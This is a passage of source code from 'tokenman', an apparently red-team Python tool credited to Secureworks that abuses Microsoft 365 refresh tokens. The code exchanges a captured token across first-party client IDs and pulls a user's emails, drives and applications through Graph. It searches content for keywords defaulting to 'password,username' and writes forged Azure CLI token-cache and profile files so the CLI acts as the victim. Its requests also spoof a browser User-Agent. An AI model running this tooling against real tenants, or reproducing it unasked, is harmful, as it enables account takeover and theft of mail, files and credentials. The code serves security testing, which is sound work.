) 47 | base_subparser.add_argument( 48 | "--proxy", 49 | type=str, 50 | help="HTTP proxy url (e.g. http://127.0.0.1:8080)", 51 | ) 52 | 53 | # Manage 'fetch' command 54 | # tokenman.py fetch -r/--refresh ... [-a/--access-token ...] -m/--module {all | drives,emails,groups,organizations,users} 55 | fetch_parser = subparsers.add_parser( 56 | "fetch", help="Retrieve data via Graph API", parents=[base_subparser] 57 | ) 58 | fetch_parser.add_argument( 59 | "-m", 60 | "--module", 61 | type=str, 62 | default="all", 63 | help=( 64 | "fetch module(s) to run (comma delimited) " 65 | "(all | applications,drives,emails,groups,organizations,serviceprincipals,users) " 66 | "[default: all]" 67 | ), 68 | ) 69 | 70 | # Manage 'search' command 71 | # tokenman.py search -r/--refresh ... [-a/--access-token ...] -m/--module {all | messages,onedrive,sharepoint} [-k/--keyword ...] 72 | search_parser = subparsers.add_parser( 73 | "search", help="Search content via Graph API", parents=[base_subparser] 74 | ) 75 | search_parser.add_argument( 76 | "-m", 77 | "--module", 78 | type=str, 79 | default="all", 80 | help=( 81 | "search module(s) to run (comma delimited) " 82 | "(all | messages,onedrive,sharepoint) " 83 | "[default: all]" 84 | ), 85 | ) 86 | search_parser.add_argument( 87 | "-k", 88 | "--keyword", 89 | type=str, 90 | default=",".join(utils.SEARCH_KEYWORDS), 91 | help="keyword(s) to search for (comma delimited) [default: password,username]", 92 | ) 93 | 94 | # Manage 'swap' command 95 | # tokenman.py swap -r/--refresh ... [-a/--access-token ...] -c/--client-id ... [-r/--resource ...] [-s/--scope ...] 96 | swap_parser = subparsers.add_parser( 97 | "swap", help="Exchange a refresh token", parents=[base_subparser] 98 | ) 99 | swap_parser.add_argument( 100 | "--list", 101 | action="store_true", 102 | help="list foci client id and name mapping", 103 | ) 104 | swap_parser.add_argument( 105 | "-c", 106 | "--client-id", 107 | type=str, 108 | help="application client id or name to exchange token for", 109 | ) 110 | swap_parser.add_argument( 111 | "--resource", 112 | type=str, 113 | help="token resource (audience)", 114 | ) 115 | swap_parser.add_argument( 116 | "--scope", 117 | type=str, 118 | default=".default", 119 | help="token scope (comma delimited) [default: .default]", 120 | ) 121 | 122 | # Manage 'az' command 123 | # tokenman.py az -r/--refresh ... [-a/--access-token ...] -c/--client-id ... 124 | az_parser = subparsers.add_parser( 125 | "az", help="Generate Azure CLI authentication files", parents=[base_subparser] 126 | ) 127 | az_parser.add_argument( 128 | "-c", 129 | "--client-id", 130 | type=str, 131 | default="04b07795-8ddb-461a-bbee-02f9e1bf7b46", 132 | help="application client id or name to exchange token for [default: Azure CLI]", 133 | ) 134 | 135 | # Manage 'oauth' command 136 | # Do not inherit base subparser as we don't need refresh/access tokens 137 | # tokenman.py oauth -c/--client-id ... [-s/--scope ...] 138 | oauth_parser = subparsers.add_parser("oauth", help="Perform OAuth device code flow") 139 | oauth_parser.add_argument("--debug", action="store_true", help="enable debugging") 140 | oauth_parser.add_argument( 141 | "--proxy", 142 | type=str, 143 | help="HTTP proxy url (e.g. http://127.0.0.1:8080)", 144 | ) 145 | oauth_parser.add_argument( 146 | "-c", 147 | "--client-id", 148 | type=str, 149 | default="04b07795-8ddb-461a-bbee-02f9e1bf7b46", 150 | help="application client id or name to request token for [default: Azure CLI]", 151 | ) 152 | oauth_parser.add_argument( 153 | "--scope", 154 | type=str, 155 | default=".default", 156 | help="token scope (comma delimited) [default: .default]", 157 | ) 158 | 159 | args = parser.parse_args() 160 | 161 | if not args.command: 162 | parser.error("token man command required") 163 | 164 | # Perform arg validation 165 | if args.command == "fetch": 166 | if not args.module: 167 | parser.error("-m/--module required for 'fetch' command") 168 | 169 | if args.module.lower() == "all": 170 | args.module = utils.FETCH_MODULES 171 | 172 | else: 173 | args.module = args.module.split(",") 174 | args.module = [m.lower() for m in args.module] 175 | 176 | if any(m not in utils.FETCH_MODULES for m in args.module): 177 | parser.error("invalid 'fetch' module provided") 178 | 179 | if len(args.module) == 0: 180 | parser.error("no valid module provided") 181 | 182 | # Require refresh OR access token 183 | if not args.refresh_token and not args.access_token: 184 | parser.error("-r/--refresh-token or -a/-access-token required for 'fetch' command") # fmt: skip 185 | 186 | elif args.command == "search": 187 | if not args.module: 188 | parser.error("-m/--module required for 'search' command") 189 | 190 | if not args.keyword: 191 | parser.error("-k/--keyword required for 'search' command") 192 | 193 | args.keyword = args.keyword.split(",") 194 | 195 | if args.module.lower() == "all": 196 | args.module = utils.SEARCH_MODULES 197 | 198 | else: 199 | args.module = args.module.split(",") 200 | args.module = [m.lower() for m in args.module] 201 | 202 | if any(m not in utils.SEARCH_MODULES for m in args.module): 203 | parser.error("invalid 'search' module provided") 204 | 205 | if len(args.module) == 0: 206 | parser.error("no valid module provided") 207 | 208 | # Require refresh OR access token 209 | if not args.refresh_token and not args.access_token: 210 | parser.error("-r/--refresh-token or -a/-access-token required for 'search' command") # fmt: skip 211 | 212 | elif args.command == "swap": 213 | if args.list: 214 | print(json.dumps(utils.FOCI_CLIENT_IDS, indent=4)) 215 | sys.exit(0) 216 | 217 | if not args.client_id: 218 | parser.error("-c/--client-id required for 'swap' command") 219 | 220 | if args.scope: 221 | args.scope = args.scope.split(",") 222 | 223 | # Check client name, get client id 224 | if args.client_id in utils.FOCI_CLIENT_IDS.keys(): 225 | args.client_id = utils.FOCI_CLIENT_IDS[args.client_id] 226 | 227 | else: 228 | # Validate client id if provided directly 229 | if args.client_id not in utils.FOCI_CLIENT_IDS.values(): 230 | parser.error("invalid 'swap' client id/name") 231 | 232 | # Require refresh token for token exchange 233 | if not args.refresh_token: 234 | parser.error("-r/--refresh-token required for 'swap' command") 235 | 236 | elif args.command == "az": 237 | if not args.client_id: 238 | parser.error("-c/--client-id required for 'az' command") 239 | 240 | # Check client name, get client id 241 | if args.client_id in utils.FOCI_CLIENT_IDS.keys(): 242 | args.client_id = utils.FOCI_CLIENT_IDS[args.client_id] 243 | 244 | else: 245 | # Validate client id if provided directly 246 | if args.client_id not in utils.FOCI_CLIENT_IDS.values(): 247 | parser.error("invalid 'az' client id") 248 | 249 | # Require refresh token for token exchange 250 | if not args.refresh_token: 251 | parser.error("-r/--refresh-token required for 'az' command") 252 | 253 | elif args.command == "oauth": 254 | if not args.client_id: 255 | parser.error("-c/--client-id required for 'oauth' command") 256 | 257 | # Check client name, get client id 258 | if args.client_id in utils.FOCI_CLIENT_IDS.keys(): 259 | args.client_id = utils.FOCI_CLIENT_IDS[args.client_id] 260 | 261 | else: 262 | # Validate client id if provided directly 263 | if args.client_id not in utils.FOCI_CLIENT_IDS.values(): 264 | parser.error("invalid 'oauth' client id") 265 | 266 | if args.scope: 267 | args.scope = args.scope.split(",") 268 | 269 | # Create empty token cache values 270 | args.access_token = None 271 | args.refresh_token = None 272 | 273 | return args 274 | -------------------------------------------------------------------------------- /tokenman/az/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from tokenman.az.az import AZ 16 | -------------------------------------------------------------------------------- /tokenman/az/az.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import os 16 | import logging 17 | from datetime import datetime 18 | from datetime import timezone 19 | from pathlib import Path 20 | from tokenman.module import ModuleBase 21 | from tokenman.state import RunState 22 | from tokenman.az.azure_profile import AzureProfile 23 | from tokenman.az.msal_token_cache import MSALTokenCache 24 | 25 | 26 | class AZ(ModuleBase): 27 | """az command handler""" 28 | 29 | @classmethod 30 | def run( 31 | cls, 32 | state: RunState, 33 | client_id: str, 34 | ): 35 | """Run the 'az' command 36 | 37 | :param state: run state 38 | :param client_id: client id to exchange token for 39 | :param resource: token audience 40 | :param scope: token scope 41 | """ 42 | # Ensure the .azure directory exists 43 | user_home = str(Path.home()) 44 | 45 | # If the Azure CLI directory exists, back it up 46 | if Path(f"{user_home}/.azure").is_dir(): 47 | logging.debug("Azure CLI directory exists, backing up: `.azure_backup`") 48 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 49 | os.rename(f"{user_home}/.azure", f"{user_home}/.azure_backup.{utc_now}") 50 | 51 | Path(f"{user_home}/.azure").mkdir(parents=True, exist_ok=True) 52 | 53 | # Perform token exchange and generate MSAL Token Cache 54 | logging.info("Generating MSAL Token Cache") 55 | token_cache_created = MSALTokenCache.generate(state, client_id) 56 | 57 | if token_cache_created: 58 | logging.info("Generating Azure Profile") 59 | azure_profile = AzureProfile.generate(state) 60 | 61 | if azure_profile: 62 | logging.info("Successfully generated Azure CLI authentication files") 63 | -------------------------------------------------------------------------------- /tokenman/az/azure_profile.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import json 16 | import logging 17 | import requests # type: ignore 18 | from pathlib import Path 19 | from tokenman.module import ModuleBase 20 | from tokenman.state import RunState 21 | from typing import Any 22 | from typing import Dict 23 | 24 | 25 | class AzureProfile(ModuleBase): 26 | """Build Azure Profile""" 27 | 28 | def _get_subscriptions( 29 | self, 30 | access_token: str, 31 | proxies: Dict[str, str] = None, 32 | verify: bool = True, 33 | ) -> Dict[str, Any]: 34 | """Retrieve all subscriptions the user has access to via 35 | Azure Management API 36 | 37 | :param refresh_token: user access token 38 | :param proxies: http request proxy 39 | :param verify: http request certificate verification 40 | :returns: subscription response 41 | """ 42 | if proxies: 43 | verify = False 44 | 45 | endpoint = "https://management.azure.com/subscriptions?api-version=2019-11-01" 46 | 47 | # Default HTTP headers to replicate a browser 48 | headers = { 49 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", 50 | "Accept": "application/json", 51 | "Content-Type": "application/x-www-form-urlencoded", 52 | "Accept-Encoding": "gzip, deflate", 53 | "Accept-Language": "en-US,en;q=0.5", 54 | "Upgrade-Insecure-Requests": "1", 55 | "Authorization": f"Bearer {access_token}", 56 | } 57 | 58 | try: 59 | logging.debug("Requesting accessible subscriptions") 60 | 61 | response = requests.get( 62 | endpoint, 63 | headers=headers, 64 | proxies=proxies, 65 | verify=verify, 66 | ) 67 | r_json = response.json() 68 | 69 | # Handle errors 70 | if "error" in r_json.keys(): 71 | raise Exception(r_json["message"]) 72 | 73 | return r_json 74 | 75 | except Exception as e: 76 | logging.error(f"Subscriptions Request Exception: {e}") 77 | return None 78 | 79 | @classmethod 80 | def generate( 81 | cls, 82 | state: RunState, 83 | ) -> bool: 84 | """Using an Azure CLI access token, retrieve all accessible subscriptions 85 | 86 | :param state: run state 87 | :returns: boolean if profile file created 88 | """ 89 | # Parse UPN from access token 90 | ## AAD returns "preferred_username", ADFS returns "upn" 91 | upn = ( 92 | state.token_cache.id_token_payload.get("preferred_username") 93 | or state.token_cache.id_token_payload["upn"] 94 | ) 95 | 96 | # Retrieve subscription list 97 | subscription_data = cls._get_subscriptions( 98 | cls, state.token_cache.access_token, state.proxies 99 | ) 100 | if not subscription_data: 101 | logging.error("Failed to retrieve Azure subscription list") 102 | return False 103 | 104 | logging.debug(f'{subscription_data["count"]["value"]} subscriptions found') 105 | 106 | try: 107 | # Init azure profile data structure 108 | azure_profile = {"subscriptions": []} 109 | 110 | # When building the profile data structure, default the first 111 | # subscription and mark the rest as False 112 | default = True 113 | 114 | # Account for not subscriptions access 115 | if not subscription_data["value"]: 116 | logging.warning("User does not have access to any subscriptions") 117 | logging.warning("az cli will not recognize authentication as a result") 118 | 119 | # Loop over subscriptions and add to profile data structure 120 | for subscription in subscription_data["value"]: 121 | # NOTE: This always assumes the authenticating token is for a user instead of 122 | # a service principal 123 | subscription_profile = { 124 | "id": subscription["subscriptionId"], 125 | "name": subscription["displayName"], 126 | "state": subscription["state"], 127 | "user": { 128 | "name": upn, 129 | "type": "user", 130 | }, 131 | "isDefault": default, 132 | "tenantId": subscription["tenantId"], 133 | "environmentName": "AzureCloud", 134 | "homeTenantId": subscription["tenantId"], 135 | "managedByTenants": [], 136 | } 137 | 138 | if subscription["managedByTenants"]: 139 | subscription_profile["managedByTenants"] = [ 140 | {"tenantId": t["tenantId"]} 141 | for t in subscription["managedByTenants"] 142 | ] 143 | 144 | azure_profile["subscriptions"].append(subscription_profile) 145 | 146 | if default: 147 | logging.debug(f"Default subscription: '{subscription['displayName']}'") # fmt: skip 148 | default = False 149 | 150 | except Exception as e: 151 | logging.error(f"Azure Profile Exception: {e}") 152 | return False 153 | 154 | # Write the azure profile 155 | logging.info("\tWriting Azure Profile to disk") 156 | with open(f"{str(Path.home())}/.azure/azureProfile.json", "w") as f: 157 | json.dump(azure_profile, f, indent=4) 158 | 159 | return True 160 | -------------------------------------------------------------------------------- /tokenman/az/msal_token_cache.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import json 16 | import logging 17 | from pathlib import Path 18 | from tokenman.module import ModuleBase 19 | from tokenman.state import RunState 20 | 21 | 22 | class MSALTokenCache(ModuleBase): 23 | """Build MSAL Token Cache""" 24 | 25 | @classmethod 26 | def generate( 27 | cls, 28 | state: RunState, 29 | client_id: str = "04b07795-8ddb-461a-bbee-02f9e1bf7b46", 30 | ) -> bool: 31 | """Using a refresh token, exchange for an Azure CLI token and create 32 | an MSAL Token Cache file for Azure CLI 33 | 34 | :param state: run state 35 | :param client_id: client id to exchange for 36 | :returns: if token cache created 37 | """ 38 | # Acquire a new token specific for Azure Management 39 | new_token = cls.acquire_token( 40 | cls, 41 | refresh_token=state.token_cache.refresh_token, 42 | client_id=client_id, 43 | resource="https://management.core.windows.net", 44 | proxies=state.proxies, 45 | ) 46 | 47 | # Handle invalid token 48 | if not new_token: 49 | logging.error("No access token retrieved") 50 | return False 51 | 52 | try: 53 | logging.debug("Parsing Azure CLI token") 54 | 55 | # Update token cache 56 | state.token_cache.access_token = new_token["access_token"] 57 | state.token_cache.refresh_token = new_token["refresh_token"] 58 | state.token_cache.id_token = new_token["id_token"] 59 | state.token_cache.client_info = new_token["client_info"] 60 | 61 | # Parse data from token cache 62 | ## Exctract necessary data from the client info 63 | uid = state.token_cache.client_info_payload["uid"] 64 | 65 | ## AAD returns "preferred_username", ADFS returns "upn" 66 | upn = ( 67 | state.token_cache.id_token_payload.get("preferred_username") 68 | or state.token_cache.id_token_payload["upn"] 69 | ) 70 | tid = state.token_cache.id_token_payload["tid"] 71 | 72 | ## Exctract necessary data from the access token 73 | scope = state.token_cache.access_token_payload["scp"] 74 | client_id = state.token_cache.access_token_payload["appid"] 75 | expires_on = state.token_cache.access_token_payload["exp"] - 1 76 | cached_at = state.token_cache.access_token_payload["nbf"] + 10 77 | 78 | except Exception as e: 79 | logging.error(f"Token Parsing Exception: {e}") 80 | return False 81 | 82 | # Build MSAL Token Cache data structure 83 | # NOTE: This always assumes the authenticating token is for a user instead of 84 | # a service principal 85 | msal_token_cache = { 86 | "AccessToken": { 87 | f"{uid}.{tid}-login.microsoftonline.com-accesstoken-{client_id}-{tid}-{scope}": { 88 | "credential_type": "AccessToken", 89 | "secret": state.token_cache.access_token, 90 | "home_account_id": f"{uid}.{tid}", 91 | "environment": "login.microsoftonline.com", 92 | "client_id": client_id, 93 | "target": scope, 94 | "realm": tid, 95 | "token_type": "Bearer", 96 | "cached_at": cached_at, 97 | "expires_on": expires_on, 98 | "extended_expires_on": expires_on, 99 | } 100 | }, 101 | "AppMetadata": { 102 | f"appmetadata-login.microsoftonline.com-{client_id}": { 103 | "client_id": client_id, 104 | "environment": "login.microsoftonline.com", 105 | "family_id": "1", 106 | } 107 | }, 108 | "RefreshToken": { 109 | f"{uid}.{tid}-login.microsoftonline.com-refreshtoken-{client_id}--{scope}": { 110 | "credential_type": "RefreshToken", 111 | "secret": state.token_cache.refresh_token, 112 | "home_account_id": f"{uid}.{tid}", 113 | "environment": "login.microsoftonline.com", 114 | "client_id": client_id, 115 | "target": scope, 116 | "last_modification_time": cached_at, 117 | "family_id": "1", 118 | } 119 | }, 120 | "IdToken": { 121 | f"{uid}.{tid}-login.microsoftonline.com-idtoken-{client_id}-organizations-": { 122 | "credential_type": "IdToken", 123 | "secret": state.token_cache.id_token, 124 | "home_account_id": f"{uid}.{tid}", 125 | "environment": "login.microsoftonline.com", 126 | "realm": "organizations", 127 | "client_id": client_id, 128 | } 129 | }, 130 | "Account": { 131 | f"{uid}.{tid}-login.microsoftonline.com-organizations": { 132 | "home_account_id": f"{uid}.{tid}", 133 | "environment": "login.microsoftonline.com", 134 | "realm": "organizations", 135 | "local_account_id": uid, 136 | "username": upn, 137 | "authority_type": "MSSTS", 138 | } 139 | }, 140 | } 141 | 142 | # Write the token cache 143 | logging.info("\tWriting MSAL Token Cache to disk") 144 | with open(f"{str(Path.home())}/.azure/msal_token_cache.json", "w") as f: 145 | json.dump(msal_token_cache, f, indent=4) 146 | 147 | return True 148 | -------------------------------------------------------------------------------- /tokenman/cache.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | from tokenman import utils 17 | from typing import Any 18 | from typing import Dict 19 | 20 | 21 | class TokenCache: 22 | """Token cache management""" 23 | 24 | def __init__( 25 | self, 26 | access_token: str = None, 27 | refresh_token: str = None, 28 | id_token: str = None, 29 | client_info: str = None, 30 | ): 31 | """Token cache initialization 32 | 33 | :param access_token: access token string 34 | :param refresh_token: refresh token string 35 | :param id_token: id token string 36 | :param client_info: client info string 37 | """ 38 | # Init and set data via properties 39 | self._access_token = None 40 | self._access_token_payload = None 41 | self.access_token = access_token 42 | 43 | self._id_token = None 44 | self.id_token_payload = None 45 | self.id_token = id_token 46 | 47 | self._client_info = None 48 | self._client_info_payload = None 49 | self.client_info = client_info 50 | 51 | # Set refresh token 52 | self.refresh_token = refresh_token 53 | 54 | @property 55 | def access_token(self): 56 | """Access token getter""" 57 | return self._access_token 58 | 59 | @access_token.setter 60 | def access_token(self, value: str): 61 | """Access token setter""" 62 | self._access_token = value 63 | if self._access_token: 64 | try: 65 | # Invoke access token payload setter 66 | self.access_token_payload = utils.decode_jwt(self._access_token) 67 | 68 | except Exception as e: 69 | logging.error(f"Failed to parse access token: {e}") 70 | 71 | @property 72 | def access_token_payload(self): 73 | """Access token payload getter""" 74 | return self._access_token_payload 75 | 76 | @access_token_payload.setter 77 | def access_token_payload(self, value: Dict[str, Any]): 78 | """Access token payload setter""" 79 | self._access_token_payload = value 80 | 81 | @property 82 | def id_token(self): 83 | """ID token getter""" 84 | return self._id_token 85 | 86 | @id_token.setter 87 | def id_token(self, value: str): 88 | """ID token setter""" 89 | self._id_token = value 90 | if self._id_token: 91 | try: 92 | # Invoke id token payload setter 93 | self.id_token_payload = utils.decode_jwt(self._id_token) 94 | 95 | except Exception as e: 96 | logging.error(f"Failed to parse id token: {e}") 97 | 98 | @property 99 | def id_token_payload(self): 100 | """ID token payload getter""" 101 | return self._id_token_payload 102 | 103 | @id_token_payload.setter 104 | def id_token_payload(self, value: Dict[str, Any]): 105 | """ID token payload setter""" 106 | self._id_token_payload = value 107 | 108 | @property 109 | def client_info(self): 110 | """Client info getter""" 111 | return self._client_info 112 | 113 | @client_info.setter 114 | def client_info(self, value: str): 115 | """Client info setter""" 116 | self._client_info = value 117 | 118 | # Base64 decode to JSON object 119 | if self._client_info: 120 | try: 121 | client_info = utils.pad_base64(self._client_info) 122 | client_info = utils.base64_to_json(client_info) 123 | self.client_info_payload = client_info 124 | 125 | except Exception as e: 126 | logging.error(f"Failed to parse client info: {e}") 127 | 128 | @property 129 | def client_info_payload(self): 130 | """Client info payload getter""" 131 | return self._client_info_payload 132 | 133 | @client_info_payload.setter 134 | def client_info_payload(self, value: Dict[str, Any]): 135 | """Client info payload setter""" 136 | self._client_info_payload = value 137 | -------------------------------------------------------------------------------- /tokenman/fetch/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from tokenman.fetch.fetch import Fetch 16 | -------------------------------------------------------------------------------- /tokenman/fetch/applications.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | from datetime import datetime 17 | from datetime import timezone 18 | from tokenman.module import ModuleBase 19 | from tokenman.state import RunState 20 | from typing import Any 21 | from typing import Dict 22 | 23 | 24 | class Applications(ModuleBase): 25 | """Applications retrieval class""" 26 | 27 | def _fetch_applications( 28 | self, 29 | access_token: str, 30 | proxies: Dict[str, str] = None, 31 | ) -> Dict[str, Any]: 32 | """Retrieve all applications for the given user 33 | 34 | :param access_token: access token 35 | :param proxies: http request proxy 36 | """ 37 | return self.msgraph_fetch( 38 | self, 39 | path="applications?$top=999", 40 | access_token=access_token, 41 | proxies=proxies, 42 | ) 43 | 44 | @classmethod 45 | def fetch(cls, state: RunState): 46 | """Fetch applications 47 | 48 | :param state: run state 49 | """ 50 | # Check if we have an access token for MS Office 51 | if not cls.check_token( 52 | cls, 53 | state.token_cache.access_token_payload, 54 | "Microsoft Office", 55 | ): 56 | if not state.token_cache.refresh_token: 57 | logging.error("No refresh token found to perform token exchange") 58 | return 59 | 60 | logging.debug("Acquiring new token for: 'Microsoft Office'") 61 | 62 | # Acquire a new token specific for Microsoft Office 63 | new_token = cls.acquire_token( 64 | cls, 65 | refresh_token=state.token_cache.refresh_token, 66 | client_name="Microsoft Office", 67 | proxies=state.proxies, 68 | ) 69 | 70 | # Handle invalid token 71 | if not new_token: 72 | logging.error("Could not exchange for new token") 73 | return 74 | 75 | # Update state access token 76 | state.token_cache.access_token = new_token["access_token"] 77 | state.token_cache.refresh_token = new_token["refresh_token"] 78 | 79 | logging.info("Fetching applications") 80 | 81 | # Fetch applications 82 | applications = cls._fetch_applications( 83 | cls, 84 | access_token=state.token_cache.access_token, 85 | proxies=state.proxies, 86 | ) 87 | applications_count = len(applications["value"]) 88 | logging.info(f"\tApplications: {applications_count}") 89 | 90 | # If applications found, write to disk 91 | if applications_count > 0: 92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 93 | filename = state.output / f"fetch.applications.{utc_now}.json" 94 | logging.info(f"\tOutput: {filename}") 95 | 96 | cls.write_json( 97 | cls, 98 | filename=filename, 99 | data=applications, 100 | ) 101 | -------------------------------------------------------------------------------- /tokenman/fetch/drives.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | from datetime import datetime 17 | from datetime import timezone 18 | from tokenman.module import ModuleBase 19 | from tokenman.state import RunState 20 | from typing import Any 21 | from typing import Dict 22 | 23 | 24 | class Drives(ModuleBase): 25 | """OneDrive drives retrieval class""" 26 | 27 | def _fetch_drives( 28 | self, 29 | access_token: str, 30 | proxies: Dict[str, str] = None, 31 | ) -> Dict[str, Any]: 32 | """Retrieve all drives for the given user 33 | 34 | :param access_token: access token 35 | :param proxies: http request proxy 36 | """ 37 | return self.msgraph_fetch( 38 | self, 39 | path="me/drives", 40 | access_token=access_token, 41 | proxies=proxies, 42 | ) 43 | 44 | @classmethod 45 | def fetch(cls, state: RunState): 46 | """Fetch user drives 47 | 48 | :param state: run state 49 | """ 50 | # Check if we have an access token for MS Office 51 | if not cls.check_token( 52 | cls, 53 | state.token_cache.access_token_payload, 54 | "Microsoft Office", 55 | ): 56 | if not state.token_cache.refresh_token: 57 | logging.error("No refresh token found to perform token exchange") 58 | return 59 | 60 | logging.debug("Acquiring new token for: 'Microsoft Office'") 61 | 62 | # Acquire a new token specific for Microsoft Office 63 | new_token = cls.acquire_token( 64 | cls, 65 | refresh_token=state.token_cache.refresh_token, 66 | client_name="Microsoft Office", 67 | proxies=state.proxies, 68 | ) 69 | 70 | # Handle invalid token 71 | if not new_token: 72 | logging.error("Could not exchange for new token") 73 | return 74 | 75 | # Update state access token 76 | state.token_cache.access_token = new_token["access_token"] 77 | state.token_cache.refresh_token = new_token["refresh_token"] 78 | 79 | logging.info("Fetching drives") 80 | 81 | # Fetch drives 82 | drives = cls._fetch_drives( 83 | cls, 84 | access_token=state.token_cache.access_token, 85 | proxies=state.proxies, 86 | ) 87 | drives_count = len(drives["value"]) 88 | logging.info(f"\tDrives: {drives_count}") 89 | 90 | # If drives found, write to disk 91 | if drives_count > 0: 92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S") 93 | filename = state.output / f"fetch.drives.{utc_now}.json" 94 | logging.info(f"\tOutput: {filename}") 95 | 96 | cls.write_json( 97 | cls, 98 | filename=filename, 99 | data=drives, 100 | ) 101 | -------------------------------------------------------------------------------- /tokenman/fetch/emails.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Secureworks 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | import logging 16 | from datetime import datetime 17 | from datetime import timezone 18 | from tokenman.module import ModuleBase 19 | from tokenman.state import RunState 20 | from typing import Any 21 | from typing import Dict 22 | 23 | 24 | class Emails(ModuleBase): 25 | """Email retrieval class""" 26 | 27 | def _fetch_emails( 28 | self, 29 | access_token: str, 30 | proxies: Dict[str, str] = None, 31 | ) -> Dict[str, Any]: 32 | """Retrieve all emails for the given user 33 | 34 | :param access_token: access token 35 | :param proxies: http request proxy 36 | """ 37 | return self.msgraph_fetch( 38 | self, 39 | path="me/messages", 40 | access_token=access_token, 41 | proxies=proxies, 42 | ) 43 | 44 | @classmethod 45 | def fetch(cls, state: RunState): 46 | """Fetch user emails 47 | 48 | :param state: run state 49 | """ 50 | # Check if we have an access token for MS Office 51 | if not cls.check_token( 52 | cls, 53 | state.token_cache.access_token_payload, 54 | "Microsoft Office", 55 | ): 56 | if not state.token_cache.refresh_token: 57 | logging.error("No refresh token found to perform token exchange") 58 | return 59 | 60 | logging.debug("Acquiring new token for: 'Microsoft Office'") 61 | 62 | # Acquire a new token specific for Microsoft Office 63 | new_token = cls.acquire_token( 64 | cls, 65 